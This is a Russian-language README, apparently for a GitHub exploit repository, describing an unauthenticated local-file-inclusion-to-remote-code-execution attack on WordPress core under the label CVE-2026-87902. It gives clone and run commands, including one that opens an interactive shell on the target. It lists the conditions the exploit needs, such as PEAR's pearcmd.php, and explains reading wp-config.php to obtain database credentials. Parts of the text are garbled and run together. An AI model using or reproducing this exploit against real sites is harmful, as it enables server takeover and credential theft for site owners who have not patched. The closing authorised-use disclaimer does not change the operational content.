
Эксплойт для эксплуатации уязвимости CVE-2026-87902, возникающей в ядре WordPress
Эксплойт без аутентификации (LFI → RCE) для WordPress 4.7.0 – 7.1.1 · исправление: 7.1.2
git clone https://github.com/Maalfer/CVE-2026-87902-exploit.git
cd CVE-2026-87902-exploit
# 1) проверить LFI (ничего не записывает на сервер)
python3 exploit.py --url http://objetivo/ --validate-only
# 2) RCE
python3 exploit.py --url http://objetivo/ -c "id"
# 3) интерактивная консоль
python3 exploit.py --url http://objetivo/ -c id --shell
Все четыре должны выполняться одновременно. Если отсутствует 3-е, LFI не существует.
get_page_template(), без validate_file(). В 7.1.2+ она исправлена.page_id, чтобы WordPress разрешил шаблон (определяется автоматически через REST).page-* в активной теме — обязательно: file_exists() не проходит через несуществующий компонент, поэтому ../ поднимается только если первый сегмент существует на диске. Twenty Twelve (page-templates/) его содержит; большинство блочных тем (Twenty Twenty-Three) нет. Это также касается родительской темы.pearcmd.php + register_argc_argv=On — LFI только читает; выполнение использует polyglot config-create из PEAR. При register_argc_argv=Off или без установленного PEAR есть LFI, но нет RCE.Без 4-го условия результат — чистый LFI: позволяет читать любой .php в системе, например page-templates/../../../wp-config.php (хэши и соли БД).
Только для собственных систем или при наличии письменного разрешения.